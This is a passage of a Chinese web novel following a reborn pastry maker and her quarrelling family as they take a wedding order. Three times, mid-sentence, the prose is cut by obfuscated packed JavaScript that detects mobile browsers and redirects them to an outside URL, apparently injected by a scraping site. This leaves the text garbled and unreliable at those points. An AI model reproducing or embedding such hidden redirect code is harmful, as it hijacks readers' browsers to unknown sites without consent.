可惜，她已经不是那个任人拿捏的软柿子了。 胡有福沉默了很久。他看着那锭银子，再看看闺女——脸还是那张脸，闺女却不是那个闺女了。说实话，她这个劲儿才像自己，要阿荞是个儿子…… 他终于点了点头：“行，就依你。” 胡佑急了：“爹！” “我说行就行！” 胡有福瞪了他一眼，胡佑一下子缩回去了。胡有福又看向胡裪，声音放软了些：“阿荞，爹依你。可这单生意，你真有把握？那可是张员外家，我听同行说，大少爷结婚，他把全城的饽饽铺都换了一遍。” 胡裪就指了指那朵牡丹花：“爹，你做过这样的饽饽吗？” 胡有福低头看着那朵牡丹。他十几年前就和面打交道，揉过的面能堆成山，蒸过的馒头能铺满一条街，可他这辈子，从没做过这样的饽饽。 别说做了，见都没见过。 他摇了摇头，没说话。 胡裪笑了一下，转身回屋拿纸笔。 5. 第五章 小心思 胡裪回屋，寻出纸笔。纸是寻常桑皮纸，笔是最廉价的竹管笔，权作画图却也尽够使了。 她于前世的翻糖家什，闭目也能估摸出长短粗细，心下早已有数。提笔蘸墨，手腕轻转，簌簌落落地画起来，笔下器物一件件有了模样。 胡裪先画的木质工具。头一件唤作“走棰”，长七寸，粗若鸡卵，两头尖尖似梭，中段微鼓，需打磨得没有毛刺才好。这走棰说白了，也是一种擀面杖。 第二件是一套“丸棒”，长五寸，两头俱是小圆球。胡裪画了五支大小不一的来，能用来按压出凹窝。 末了是三只“晾花碗”，大的径二寸，深五分；中的径寸半，深四分；小的径一寸，深三分。这是用来安放塑好的花瓣的，好叫那花瓣保持着自然的弯翘模样，不至塌了形儿。 画毕木匠的，又去画那铁匠的活计。内有滚刀一柄，刻刀一套，长刀片一根，此外还有各色印模，以及做那人物脸面用的开脸家什。 画完后细细检点一番，恐有遗漏，再将那要紧之处用小字批注在一旁，一时间竟然忘了时辰。 此时，外头天井里，她大哥胡佑正同老爹嘀咕那张员外家的单子。 “爹，您瞧这事对劲么？”胡佑手里捏着那单子，满脸的不忿，“我明明瞅着是十九两四钱，怎地到了阿荞嘴里，就短了三两，成了十六两四钱？依我看，阿荞这心也大了，打量着咱们父子不认得字，私下昧下了这银子。” “蠢才，蠢才，蠢才！”胡有福恨铁不成钢，恨不能撬开这孽障的脑壳，瞧瞧里头装的是不是豆腐脑。这么明白的事，竟还不如个十六岁的丫头看得通透，“你识得的那两个字，你妹子如何不识？她若存心瞒你，拿这话哄你作甚？” 胡佑摸摸后脑勺，犹自不解：“莫非是阿荞记差了？” 唉……胡有福唯有长叹一声，点拨道：“这单子一式两份，一份由那管家交与张老爷支银子，一份咱们收着。你说，短了这三两，是落在谁的手里了？” “爹是说……张管家？”胡佑这才恍然大悟。 “好生跟你妹子学着罢！”胡有福语重心长。馒头说到底不过是寻常吃食，城里饽饽铺子没有十家也有八家，做的都大同小异。为何人家偏偏挑中胡家？察言观色还在其次，最要紧的是通晓人情世故。 就好比他常年给崔举人、吴员外家送杂合面馒头，一年能净落近三十两银子。可常言道得好，阎王好见小鬼难缠，这三十两里头，少说也得拿出十五两来，上下打点那些管事的人。 胡有福是个有心计的，每到年节必要亲自登门，送些节礼疏通人情，故此四五年下来，这桩买卖才做得稳稳当当。两家若有什么婚丧嫁娶、祭祖上坟的差事，做饽饽的活计也是从胡家定下。 “阿粟，”胡有福唤着儿子的小名，谆谆教诲，“你妹子便是赚下座金山，日后不也是留给你的？何苦整日价同她乌眼鸡似的，尽使些小性儿？闲了，说两句好话哄哄她，又不费你一文钱。” 在阿粟之前，他还有过三个子嗣。头一个小子生下来便浑身青黄，可怜见的没留住。第二个是丫头，算不得数。第三个两岁上闹饥荒，也糟践了。这胡佑，实打实是他第一个站住的儿子，因此真就跟心尖尖肉一样。 胡佑，护佑，老头子就指着这儿子传宗接代，日后接了他的买卖，他这一辈子，才算没白来世上走一遭。 胡佑听着老爹苦口婆心，面上只管点头应着，心里却老大不以为然。抬眼觑向自己媳妇，想叫她帮衬着说几句，谁知这木头平日里同他拌嘴时精神百倍，这会子倒把嘴闭得紧紧的，一言不发。 陈喜妹却在一旁拨开了自己的小算盘。一个月一两银子！一个大姑娘家，吃在家，喝在家，不过给家里搭把手，竟敢开口要一两银！可这银子……说句实在话她也眼热得紧。若能得着一两银的月钱，多少也能抠出些来贴补她娘家的兄弟。 这陈喜妹本是陈家庄上贫苦人家的女儿，当年能留下性命不曾被溺死，全因要留着给哥哥换亲。谁曾想，胡家出了十五两白银并两亩薄田来下聘，她便嫁进了胡家。 出嫁之前，她怎么也想不通，这县城里的人偏偏瞧上她了呢？总不会她长得貌若天仙。 嫁过来之后才晓得胡家为买铺子，连本带息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345095|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠了一百五十两银子。 一百五十两！她家花销十年也尽够了！ 当时胡佑也十七了，不好再拖着，便选了最穷苦的一家，是为少出些聘礼。若要聘城里的闺女，少说也得大二百两，这还是三年前的行情。 陈喜妹便如此进了胡家大门，可她总觉得在人前抬不起头来。不为别的，只因她嫁过来时，真真是一文钱的嫁妆也无。爹娘那是将她卖了呀……若自己能挣得几个钱，不说一月一两，便是五钱也是好的。一年攒下六两银子，也是一笔体己。 只是这话却不知该如何开口。陈喜妹低着头，只顾想自己的心事，全没瞧见丈夫拿白眼翻她。 不多时，胡裪便拿着画好的图纸从屋里出来。她将两张纸递给胡佑，道：“哥，这些都是做饽饽用的家什，烦劳你替我把这张图纸送与薛木匠，叫他加紧些，先给我打出三套来。再将这份图纸送与刘铁匠，也是三套。再烦铁匠师傅捻些细铁丝、细铜丝来，我后头有用处。” 胡佑看老头子一眼，见他点头才起身离开，等着回来的时候还有些气喘，同妹子说工期的事情：“你的那些棍棍棒棒，十日之内便能做好。铁的却还麻烦些，那些小巧的刀片并不好打。木器六钱，铁器一两二钱，统共是一两八钱，我交了定钱，剩下的取货时缴清。” 胡佑拿眼皮夹着阿荞。他知道这丫头有钱，媳妇给她收拾屋子的时候，在小抽屉底下翻见过，总共二两多。按照胡佑的意思，这个东西既然是胡裪要的，银钱也合该是胡裪出。 胡裪晓得他的打算，却不知道陈喜妹翻过自己的屋子，只哂笑一声：“大哥，若是这十六两银子全归我，那家什钱我全出。” 眼见着这两个不省心又要掰扯，王翠赶紧提醒自家老汉儿：“这个钱哪儿能叫你们出？” “是了，说到底是给家里还账，不能用你们的体己钱，”胡有福接话，又叫自家婆子拿豆子换块豆腐回来。有了这么大笔收入，实在是喜事，今儿晚上做个酱油滚豆腐，好生犒劳犒劳。 王翠装上豆子，悄声拿了十几文私房钱，带着闺女一块儿去柳花巷子豆腐西施处换豆腐。 6. 第六章 询问 母女两个掩了后门出来，走出巷口，便是街上了。 现在日头斜着，映得红瓦上带一层金，晒得街面上的青石板泛着光。两边铺子都还开着，那些个布幌子、酒旗儿、药招子，在微风里懒懒地飘着。 对过是个杂货铺，门口摆着几口大缸，一个半大小子正拿瓢从缸里舀水，水珠子溅在石板上，洇出一小片深色来，映着日头亮晶晶的。再往前走几步有个卖吃食的担子，一股子葱花香味儿混着油香飘过来，惹得人肚子里咕咕响。 王翠挎着装豆的篮子，眉间拧着，一副苦相。拿眼梢觑了觑身边走的闺女，到底忍不住心里头的话：“一年年的，过得真快，竟也没觉出来你都是个十六岁的大姑娘了。也能……也能给家里争上用了。” 许是后头几个字烫舌头，王翠说得含含糊糊。这事儿不光彩，无论是要靠卖女儿还债还是要靠女儿赚钱还债。 胡祹没吭声，垂着眼往前走，眼睛瞧着自己脚底下那双半旧的鞋。她不是没听见娘的话，是听见了却不知该怎么答。心里头像塞了一团乱麻，扯不清也理不顺。 上一世固然父母双全家庭美满，可谁叫她倒霉，偏偏前十六年没有上一世的记忆呢？她是一个生在胡家，长在胡家的女孩儿，小时候也还过得不错，对自己的爹妈哪能没有情分？ 尤其是跟王翠，母女之间的情谊，总是跟别个不同。 胡裪自有记忆起，便是长在王翠怀中。许是上头的姐姐没留住，王翠格外地珍重独女，家里但凡有什么好吃的，总是先紧着她，就是老头子偏心儿子，偷偷给阿粟留什么，王翠也能变着法儿地给女儿寻一份来。 胡裪记得有一年过年，家里炖了一只老母鸡。鸡是村里养的走地鸡，一肚子黄油。娘把鸡收拾干净了，灶膛里架上柴，用大锅慢慢地炖。 香气从锅盖缝里钻出来，飘得满院子都是。她馋得围着灶台转，掀掀锅盖问娘好了没有，娘被她缠得没法子，就拿锅铲子舀起一点汤水，吹凉了倒在她嘴里。 后来鸡炖好了，盛了满满一大盆汤。汤是金黄色的，上头漂着一层油花，亮汪汪的。 胡裪知道规矩，鸡腿一只是爹的，另一只是大哥的，她和弟弟一人一只翅膀。她想吃鸡腿，可她知道不能要。她想的是鸡翅膀给弟弟，她吃胸脯上的肉，然后把自个儿那只翅膀让给娘。娘每回都吃不着好肉，她想让娘也尝尝。 可娘从汤里捞出来那只整鸡，把肉一丝一丝地拆了出来，一边拆，一边把一撮又一撮带着皮和油脂的鸡腿肉往胡裪口里填，香的嘞。 胡裪当时愣住了，满嘴都是肉，眼睛却瞪得大大的，里头全是不可置信。 娘看着她那个傻样儿，忍不住笑了，手上的活儿一点儿没停，接着往下拆，肉装了大半盆。 一整只鸡，少一条腿是看得出来的，可拆成一盆肉，谁还数得清有多少块？那会儿她不懂，只知道娘疼她，偏爱她。晚上吃年夜饭的时候，爹还念叨说今年买的鸡小了，肉不够多，她听了偷偷地乐，低着头扒饭，生怕自个儿脸上的笑让人瞧出来。 但娘再怎么疼她，到了这样的时候也是要卖了她，去凑钱给大哥保下那个馒头铺子的。 王翠见女儿不说话，心里头空落落的，只觉得和自己闺女的心隔开了。她捋了捋鬓边散下来的碎头发，动作有些不自然，眉目低垂间余光看见一个小摊子，卖女人用的零碎物件的。 摊子不大，一张蓝布铺在地上，上头摆着些梳子、篦子、绒花、头绳之类的东西，还有些木簪、骨簪，都是常见的不值什么钱的东西，花样却还新鲜。 王翠心里一动，想着讨女儿的好，便拉着胡裪的胳膊便往那边走。 摊子后头坐着个小贩，二十出头的年纪，生得精瘦，眉眼倒活泛。 见有人来，他屁股一抬便站了起来，脸上堆出个笑来，脆生生地招呼道：“大娘，小娘子，可瞧瞧有什么中意的？小人的货虽不是金的银的，可都是实打实的好东西，花样也新。这绒花是南边来的式样，头绳是正经染坊出来的，不掉色儿。大娘给小娘子挑一件，戴上去保管俊俏！” 他说着，伸手把捡了摊子上最鲜亮的几样往前，摆给王翠看。 王翠身上只有十几文，买不了那些铜物件，偏看中了一根头绳。绳子没什么奇特的，倒是两端各缀着一颗米粒大小的圆珠。圆珠是螺壳打磨的，不很精致，但被染成了浅浅的肉粉色，颜色像是桃花瓣儿的那个尖儿，不是很红。 海螺壳一圈一圈的纹路也没有被磨去，稍稍变化角度，就能在珠子表面看到一层流光，青蓝混杂，像是太阳底下的泡沫。 王翠拿过那根头绳，两根手指捻住绳料搓了搓，心里大体有了数。 绳子虽不是什么好绳子，但胜在染色均匀又牢固。 她心里头是想要的，可她兜里就十几文钱，这种小摊小贩又最会抬价，得铆足了劲好好杀一杀。 “这个怎么卖？”王翠问。 小贩眼珠子一转，脸上笑模笑样：“大娘好眼力，这可是稀罕物！绳子是上好的绸布，珠子是正经螺钿上使的料。就这么两颗米粒大小的珠子，十五文也能卖了。大娘，我瞧着您面善，不多要，就要个成本价，二十文！” 王翠拽着胡裪转身就走。这一招叫做欲擒故纵，小商小贩嘛，一开始总得要高价碰碰不识货的冤大头，但王翠也不是傻婆娘，不会花一文的冤枉钱。且再看他摊子上的东西花样还多得很、齐整得很，便知今天没怎么开张，现下定舍不得自己走了。 果然，小贩在后头急着喊：“大娘，大娘！您别走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王翠那点儿自得的笑瞬间僵在脸上，喉咙里像是堵了团棉花，一个字也吐不出来。 胡祹等了一会儿，仿佛得到了答案般卸下一口气，接过王翠手里的篮子：“没事儿！我都晓得嘞！”也看不出伤心还是怎么的，红绳子在手里甩着转悠。 没关系，胡裪已经原谅了王翠。她想，娘跟爹过了二十多年，手里头除了几个铜板的体己，什么东西都不是她的，连她自己也不是。自己又怎么能对着一无所有的人奢求呢？要真有本事，就从胡有福手里抠钱，柿子挑着软的捏算什么？ 想到这，她振奋起来。 胡裪！早晚有一天，你能跟上辈子一样，凭着自己的一双手挣出来吃挣出来喝，再也不用担心谁卖了你！ 7. 第七章 挑唆 王翠从柳花巷子换豆腐回来，心头便沉甸甸的不自在。眼面前儿总晃着女儿不怎么亲近的脸，越想越不是滋味，心里反添了几分埋怨——也是，天底下哪有不是的父母？怎的就轮到女儿给亲娘脸子瞧呢？ 这心里一不痛快手底下便没了准头，晚间做的豆腐一不留神撒多了盐。胡有福扒拉了两口，咒骂几句浪费盐，也没奈何，只得把豆腐当做咸菜吃。 是夜，王翠翻来覆去就是睡不着，伸手推推身旁的胡有福，问：“当家的，你说阿荞那丫头，心里头是不是怨了咱们？” 胡有福正迷糊着，被她推醒，不耐烦翻了个身，瓮声瓮气道：“她敢！没把她卖到吴家已是她的造化了，她还敢怨谁？尽想这些没要紧的。明日寅正还要起来蒸馒头，误了渡口脚夫的买卖，你替他出那几个钱？”说着，又哼哼两声，不一刻便鼾声如雷，哪里管自己婆娘心里头的酸楚。 到了次日寅正王翠便起了，眼下青黑一圈，从胳臂到脖颈无一处不酸痛。她咬咬牙胡乱抹了把脸，便往作坊里去揉面。 渡口的脚夫们上工早，又多是些单身汉子，清早必要吃两个杂合面馒头方能撑一上午的苦力。大媳妇陈喜妹并小闺女胡裪此刻还都在屋里睡着，得再等一会子才起身。 王翠自缸里舀水净了手，略甩了甩就带着湿气进作坊。 作坊铁盆里的面是昨儿晚上就和好的。苞米面里头掺了豆面，白面只星星点点撒了一小把，不过借些筋性，免得散了屉，不成个模样。揭开看时面果然起了，只是面上横七竖八裂着几道口子，远不似那白面盆里蓬蓬的，发得老高。她也不在意，伸手进去探了探，底面还残着些干粉，便就着凉水一点点淋湿揉进去。 水撩进去，五指叉开把面絮往一处拢。玉米面粗，豆面滑，粘不到一处，她也不急，就那么掌根抵着死命地摁，一下一下往前碾。案板便笃笃地闷响起来。面团渐渐抱了团，只是糙愣愣的，四下里尽裂着口子。她直揉到面上光了些方住手，扯过笼布盖上。 旁人做发面，必要等它涨得满满当当才上笼，她这里不必。杂合面本也发不到那里去，醒一醒，松散松散，蒸出来不硬得硌牙便罢了。横竖是给出力的人吃的，软了不顶饥，人家反要说你馒头不实成，往后便不买你的了。 趁着醒面的空档，王翠又去和白面。这一回是用老面引子好好儿地发，可不是给那些力奔儿吃的，须得发得又喧又软人家才来卖。 差不多弄妥了白面，杂合面也醒得够了，王翠刚揭开笼布，不提防旁边伸过一只手来。 “娘，蒸笼上汽了。我做馒头，你往上放罢。” 是闺女。 胡裪荆钗布裙，一身青褐色的粗布袄裙干干净净。头上连根银簪子也无，耳垂上光秃秃的。可此刻，她却系上了那根红头绳！两颗小小的螺珠，在她腮边晃荡，就如两颗星子坠在了耳朵上，晃得王翠眼窝子一热。 “嗳！娘去放馒头！”王翠忙不迭答应，脸上漾出笑来，接了胡裪搓好的馒头一个个摆在盖帘上，抬去上笼。她素日沉着一张脸，难得这般笑容满面，倒叫刚从屋里出来的陈喜妹愣了一愣。 “哟，娘，今儿个是什么喜事？把娘乐得这样儿？”陈喜妹一面系着围裙，一面笑问。 王翠见了她笑脸霎时收了，沉声叫她闭嘴，赶紧干活。 “呸！”陈喜妹背着身，低低啐了一口，嘴里嘟嘟囔囔，“老不死的。” 说着，一脚踏进作坊，猛得叫胡裪发上那根红头绳晃得两眼生疼。她一口气噎在喉咙里险些喘不上来，旋即冷冷地笑了，阴阳怪气道：“阿弥陀佛！我说娘怎么乐成这样儿，我还当是咱们家那大窟窿账还上了呢！原来是给我们小姐添了妆！” 饥荒压在头上，她陈喜妹自嫁进来何曾有过一星半点的添置？眼瞅着今年的账要还不上，人家腮边倒晃起两个小珠子来！这老婆子倒真会疼女儿，拿了体己不还账尽花销在这些上头。 王翠听了这话，登时摔了手里的盖帘，几步抢出来，掐着腰骂道：“老娘的钱，老娘爱买什么便买什么，凭你也来多嘴？今儿个起得这样晚，我不骂你已是给你脸了，你倒敢跟我大小声起来？你算个什么东西！” 她婆媳两个素日里便不对付。王翠嫌陈喜妹娘家穷，连个帮衬也无，心里早存着千百个疙瘩。 这一吵，便有些收不住。 王翠心里虚，自知对媳妇苛刻了些，然越心虚面上越要显得理直气壮，一张脸涨得通红，嗓门愈发高。她扭头朝屋里嚷道：“胡佑！胡佑！你个挺尸的，还不出来管管你媳妇！由着她蹬鼻子上脸咒天骂地的，这家里还有没有王法了！” 屋里头胡佑正收拾挑子，外头娘喊得急只得撂下手里的绳索，一步三拖地蹭了出来。他素日最怕老娘和媳妇拌嘴，叫他夹在中间两头受气。出来拿眼把陈喜妹一瞪，上前推了她一把，闷声道：“大清早的嚎什么丧？还不进去做馒头！等会儿我和爹的挑子装不齐整，耽误了渡口的买卖，仔细你的皮！” 推着陈喜妹进了作坊，他又压低嗓门补了一句：“账你愁什么？有了妹妹那一手好活计，要不了多少时日账就还上了！你眼皮子忒也浅了！” 他不提还账就罢了，一提陈喜妹就想起来一两工钱的事情。她辛辛苦苦，早起晚睡，还要伺候一家老小，一文钱捞不着。小姑子张嘴就是一个月一两的工钱！ 她气得浑身乱颤，正要开口，胡佑已然看出她还要争吵，不耐烦至极猛地扬起手来，作势便要扇她。 陈喜妹吓得一缩脖子。 “大哥！” 一声清喝，胡裪已到了跟前。她一把攥住胡佑扬起的手腕子，急声道：“哥！你要做什么？自己女人有话不会好好说？动什么手？出去！快出去！这里不用你！” 胡佑被妹子这一喝，又见她满脸怒容，倒有些讪讪的，缩回手，嘟囔着“懒得理你们”，自出去收拾挑子去了。 陈喜妹惊魂未定，睁开眼见是胡裪，先是一怔，旋即一股子说不清的委屈和羞恼齐齐涌上心头。她别过脸去一把抹了流下来的泪，硬邦邦道：“少来这儿假惺惺的！谁要你充好人？”说着便埋头去揉面。 胡裪看了她一会儿，忽然凑到嫂子身边，小声道：“嫂子，我知你心里气不过。反正账肯定能还上，不是我挑唆事儿，你要是难受，你也问爹要工钱，不给工钱不干活。你狠狠闹一顿，有思齐侄儿在，我哥能把你休了怎的？” 陈喜妹揉面的手一顿，却是没说话。 可说起来思齐，思齐这个娃娃就开始嚎了。他如今还小，才两岁多，放出屋要捣蛋，放出家门又怕拍花子，索性关在屋里不让出来。 他原是睡着的，这会子醒了见又被关在屋子里，便扯着嗓子嚎哭起来。哭声又尖又亮，直传到作坊里。 陈喜妹手下一顿，往外看了一眼，脚下却生了根似的只管揉面，不曾挪动半步。王翠在作坊里听见孙子哭得声嘶力竭，使个眼色给胡裪，胡裪便净了手，往屋里去哄了一回。拍着抱着，那孩子却只是哭，非要娘不可。 没奈何，陈喜妹只得一头汗一脸灰地跑进去，孩子方抽抽噎噎地止了声。陈喜妹把他往地上一放，摆了几个耍物叫他自己玩，又旋风似地奔回作坊接着揉面。 如此这般，一早晨便仔孩子的几番啼哭里混混沌沌地挨了过去。 及至晌午，日头毒辣辣地照着院子，一家大小方才闲下来。 胡有福和胡佑挑着担子回家，王翠便张罗做午饭。 灶台上搁着昨儿剩下的一块豆腐，养在凉水盆里倒也还新鲜。 王翠把豆腐捞出来，沥干水，切成寸半见方的薄片儿，匀匀地码在盘子里。又从院子里那畦小葱里薅了一把。小葱切成寸段儿，白的部分留着爆锅，青的叶子备用。 锅烧热了搁上一勺猪板油，刺啦一声响油烟便腾起来。王翠把白葱段儿扔进去，煸炒几下，香味儿就出来了。紧接着将一盘豆腐片儿顺着锅边轻轻滑进去，又拿起锅铲小心翼翼地翻动。 这豆腐嫩，稍不留神就得碎成一锅渣，非得手上带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345097|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧劲儿不成。煎得两面起了淡黄的嘎渣儿，王翠便烹入一勺子酱油面粉水，再少少地添上半瓢水，盖上锅盖咕嘟着。 焖了有一盏茶的工夫，揭开来，汤汁儿早已收得浓稠，将豆腐染成酱红色，油汪汪亮晶晶的。临起锅时把葱叶子一把撒进去，翻两下便盛了出来。一时间满屋子都是葱香酱香，勾得人馋虫直往上拱。 饭菜上了桌，一家子围坐下来。 胡裪饿了一上午，端起碗先夹了一筷子葱烧豆腐。豆腐进了嘴烫得她倒吸一口气，却又舍不得吐出来。 外头是煎得焦香的皮，里头是嫩得入口即化的芯儿，酱汁的咸香里透着小葱香，那股子鲜味儿直往喉咙眼里钻。 她爱吃，陈喜妹也喜欢，细细咂摸着，只觉得满口的香，今日委屈仿佛都被这滋味冲淡了些。她忍不住又夹了一块，正要往嘴里送—— “哇”的一声，不知道儿子犯了什么病，竟然在吃饭的时候闹腾起来。 陈喜妹筷子一顿，豆腐停在半空还腾腾地冒着热气，又被她放了回去，起身哄孩子。 “又哭又哭，就知道哭！”胡佑被她起身时撞了一下，没好气地嚷道，“你把他抱回屋子哄，别在这儿吵得人吃不安生！” 陈喜妹还记恨他上午吓唬自己，三两步进屋。孩子见又要回屋子，在她怀里挣了两下，仍是大哭不止。陈喜妹抱着他在屋里来回踱着，嘴里“哦哦”地哄着，脚下越走越快，那哭声却只高不低，嚎得人心头火气。 外头饭桌上传来说笑声，是王翠在问胡裪什么，胡裪低低地答了两句，又听见王翠笑了几声。 陈喜妹抱着孩子，走了一圈又一圈，胳膊酸了，腿也木了，那孩子却像跟她作对似的，哭得愈发声嘶力竭。她心里那股子火，再也压不住。 “哭！哭！哭你娘的丧！”她咬着牙，压低了嗓子骂，声音却控制不住地发着抖，“我上辈子是造了什么孽，这辈子落到你们家！做牛做马，起早贪黑，连口热饭都吃不上！你个讨债鬼，你就知道哭，你就知道磨我！” 她越说越气，越气越急，只觉得今儿这一天，这所有的委屈，都压得她透不过气来。她看着孩子那张哭得扭曲的小脸，心里突然涌上一股邪火，鬼使神差地，她猛地伸出手，一把捂住了孩子的嘴。 “唔——！” 那哭声戛然而止，变成了惊恐的呜咽。孩子的小身子在她怀里剧烈地挣了一下，两只小手胡乱地挥舞，眼睛瞪得老大，里头满是恐惧。 陈喜妹像被雷劈了似的，浑身一激灵松开了手。 孩子愣了一瞬，旋即“哇”的一声，哭得比先前更凶了，哭声里满是惊怕。 陈喜妹看着自己的手，又看着孩子惊恐的眼神，眼泪唰地流下来。她双腿一软，抱着孩子跌坐在炕沿上，呜呜地哭了起来。却不敢哭出声，只把身子缩成一团，一抽一抽地抖。 也不知哭了多久，胡思齐哭睡了过去。陈喜妹呆呆坐了一会儿才把孩子轻轻放在炕上，替他盖好薄被。她抹了一把脸把泪痕擦干，深吸一口气往外走。 外头饭桌上早已杯盘狼藉，胡佑正翘着腿剔牙，王翠在收拾碗筷，胡裪不知去了哪里。陈喜妹往桌上一看，那盘葱烧豆腐，已经空空如也，盘底只剩下些油汪汪的酱汁。 她看向胡佑，哑着嗓子问：“豆腐都吃完了？” 胡佑头也没抬，剔着牙含糊道：“吃完了，怎么着？你哄个孩子哄这半天，谁等你？” 陈喜妹抿了抿嘴，没说话。 正站着，胡裪从厨房里出来了，手里端着一个小碗，径直走到她跟前，把碗往她手里一塞，“给你留的。” 陈喜妹低头一看，碗里是几块葱烧豆腐，酱红色油汪汪的，小葱叶子已经蔫了，看起来有点儿恶心。她捧着那只碗，只觉得活着没什么劲儿，就连块豆腐也只有成日里作对的小姑子还记得留。 似乎没什么是她的。 不！ 陈喜妹恶狠狠地想：“还有工钱，一个月一两银子的工钱我得要到。” 8. 第八章 装病 陈喜妹自下定决心，便想着跟公公讨工钱。 只是这讨工钱的话她一个做媳妇的如何开口？日日暗暗觑着时机，只等哪日公婆心情好了便张嘴。可胡有福那脾气，再好的心情听她张口要工钱也得恼了。王翠更不必说，见了她便脸不是脸、鼻子不是鼻子的。陈喜妹的话在喉咙里滚了千百遍，终是咽了回去。不过也不用急，反正还有张员外家的单子呢。 一晃便快到六月十三。 这一日是祭龙神的日子，海边渔村的人早就定下了小饽饽。 小饽饽个个有巴掌大，要用木头模子磕出来。胡家这些年都做这个生意，模子攒了一箩筐，有鲤鱼的、莲花的、元宝的，还有长命锁的，刻着吉祥字样。 为了这宗买卖，一家人几乎要忙死。 面团是头天晚上就和好的，搁在盆里发了一夜，涨得蓬蓬的，把盖布都顶了起来。刚发好一家人就起身。王翠烧火蒸馒头。胡裪洗了手，和胡祥两个人坐在案板前磕饽饽。陈喜妹在一旁揉面切剂子，婆媳两个也不说话，只听着模子磕在案板上砰砰地响。 胡裪手巧，一块面团在她手里，三揉两捏，塞进模子里用手掌压实了，再翻过来在案板边沿上一磕——啪的一声，饽饽便脱了出来，鲤鱼是鲤鱼，莲花是莲花，棱是棱、角是角，纹路清清楚楚。王翠不时从灶前探头看一眼，见女儿磕得齐整，心里便舒坦些，却又不好露出来，只闷头烧火。 胡祥做这种营生没几回，手不熟练，不是面多了就是面少了，挨了王翠几回骂，脸涨得通红。和陈喜妹换了位置，他去切剂子，陈喜妹磕饽饽。 胡思齐这两日倒是乖，因他之前哭得实在太狠，兼之孩子大了能听懂人话，便好好地与他论清楚，要是在外边玩耍不许耽误大人干活。胡思齐许是知道大人忙，只在他娘脚边爬来爬去，抓着个木模子玩，并不缠着人陪。陈喜妹脚下留神，生怕踩着他，手底下的活儿却不敢停。 如此忙了一整日又加大半夜，直到四更天方把渔村定下的三百个小饽饽全磕完上笼。胡有福和胡佑父子一笼一笼地出，满屋子热气腾腾，蒸得人浑身是汗。待到最后一笼出了锅，天已经蒙蒙亮了。胡有福数了数，又挨个儿看了成色，脸上方露出些笑模样：“成了，这一回能落个二钱银子。” 王翠听了心里一松，脸上也见了笑影。二钱银子呢，够买好些东西了。她瞥了陈喜妹一眼，难得没甩脸子。 六月十三当天，胡有福带着胡佑先去吴员外、崔举人家，又挑着两担小饽饽往渔村送去。回来时担子上换了两尾鱼，用草绳穿了鳃，提溜进门。 “红头鱼！”胡有福把鱼往灶台上一撂，“渔村老张给的，新鲜着呢。” 王翠凑过来看：鱼有巴掌宽，一拃多长，通体银红，头是红的，尾巴也是红的。她伸手按了按，鱼肉紧实，果然是新鲜的。只是这鱼刺最多，细刺密密的，又有股子特殊腥气，寻常人家不乐意吃，价钱最贱。 “正好，换块豆腐，晚上用大酱炖一炖吃。” 晚上叫胡裪换了豆腐，王翠把鱼刮了鳞，开膛破肚，掏净内脏，洗得干干净净。又从坛子里舀了一勺大酱，这酱是开春时下的，发了三四个月，正是香的时候。锅里放油，先下葱姜蒜爆香，再把鱼放进去两面煎黄，烹上酱，加水，大火烧开，放上豆腐小火慢炖，炖到汤都发黏才出锅。 豆腐浸饱了鱼汤，夹一筷子放进嘴里，豆腐的嫩滑、鱼汤的鲜浓、大酱的咸香，混在一起竟比鱼肉本身还鲜上三分。那鱼肉虽则刺多，但慢慢地嘬，也能嘬出一股子鲜甜来。 一家人围坐着吃了，连胡思齐都吃了小半碗豆腐。陈喜妹喂孩子，自己也吃了两块，抬眼看看胡裪，胡裪正低着头吃饭，一点异样也没有。 转眼便到了六月二十，离张家少爷的婚期只剩五日，那些花饽饽再不预备可就来不及了。 这桩生意六月初定下，张家是城里的富户，娶的是东门里王家的姑娘，两家都是有头有脸的，婚宴上的花饽饽自然不能马虎。胡裪拿出单子来默念了一遍：“龙凤呈祥一对、鸳鸯戏水一对、榴开百子一对、福禄双全一对、喜上眉梢一对，另加小饽饽二百四十个……” 这可是一百多斤面啊，还都是白面。平日里自家也就磨二十来斤白面，还不用很精细，可给张员外家做，一定得细细地过筛，用最好的白面。这个活计家里做不来，只能去粮店里买。 “面不够了，得上粮店籴去。”胡有福跟王翠说，“拿那个五两的银锭吧，得买个一百五十斤，给我把驴车套上。” “蜂蜜也没了。”胡裪在一旁道，“红曲、黄栀子、菠菜，都得备下。” 王翠便道：“那就快去，别耽搁了。” 因着胡裪伶俐些，胡有福便带着女儿去采买，父女两个架着驴车往街上的粮店去。 这粮店在东大街上，是三间门面的老字号，掌柜的姓周，人称周胖子。胡家平日里用面，都是在胡家村里直接跟族人们籴粮来磨，图个便宜，跟这周胖子不甚熟络。此番要的多，便只好来店里。 胡有福虽不来店里买面买粮，但他挑着担子走街串巷，谁不认识？周胖子忙迎上来，一看驴车便知道是大买卖，满面堆笑：“胡大哥怎么赏光来我店里？今儿要点什么？” 